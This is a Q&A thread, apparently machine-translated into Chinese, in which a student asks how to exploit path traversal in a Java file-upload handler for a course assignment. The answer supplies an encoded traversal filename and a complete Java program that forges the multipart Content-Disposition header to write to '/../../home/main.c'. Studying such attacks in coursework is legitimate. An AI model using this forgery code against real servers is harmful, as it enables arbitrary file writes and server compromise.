2013-10-31 127 views
0

我有一個大學任務,我必須上傳文件到任意位置。從代碼中我可以看到上傳的文件存儲在unix系統的臨時文件夾+文件名中。這意味着如果我可以發送服務器(Java)的文件名爲/../../home/main.c我可以將文件存儲在系統上的任何位置。路徑遍歷,文件上傳利用

它不可能插入一個正斜槓字符作爲文件名的一部分,排除這個選項,所以唯一的方法是欺騙Web客戶端以某種方式手動發送文件的名稱。

這是可能的和如何?

File f = new File (dir,entry.getname()); 

其中「dir」是/ TEMP

回答

1

您可以將文件命名爲類似%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec並上傳使用的瀏覽器,但我懷疑它會工作。

你也可以嘗試開拓您的multipart/form-data的HTTP POST請求黑客現有的實現,這樣的事情(使用公地的HttpClient 3.1):

public class Forgery 
{ 
    public static void main(String[] args) 
    { 
     File f = new File("/path/fileToUpload.txt"); 
     PostMethod filePost = new PostMethod("http://host/some_path"); 
     Part[] parts = 
     { 
      new StringPart("param_name", "value"), 
      new FilePart(f.getName(), f) 
      { 
       private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME); 

       @Override 
       protected void sendDispositionHeader(OutputStream out) throws IOException 
       { 
        out.write(CONTENT_DISPOSITION_BYTES); 
        out.write(QUOTE_BYTES); 
        out.write(EncodingUtil.getAsciiBytes(getName())); 
        out.write(QUOTE_BYTES); 
        out.write(FILE_NAME_BYTES); 
        out.write(QUOTE_BYTES); 
        out.write(EncodingUtil.getAsciiBytes("/../../home/main.c")); 
        out.write(QUOTE_BYTES); 
       } 
      } 
     }; 
     filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams())); 
     HttpClient client = new HttpClient(); 
     int status = client.executeMethod(filePost); 
    } 
} 
+0

看起來很有趣,但我沒有線索在哪裏執行這個?我只有一個上傳文件(通過文件資源管理器)字段並提交按鈕。 – namik

+0

你會發布你所有的代碼嗎? –

+0

它太大而且很複雜......我不太瞭解我的自我 – namik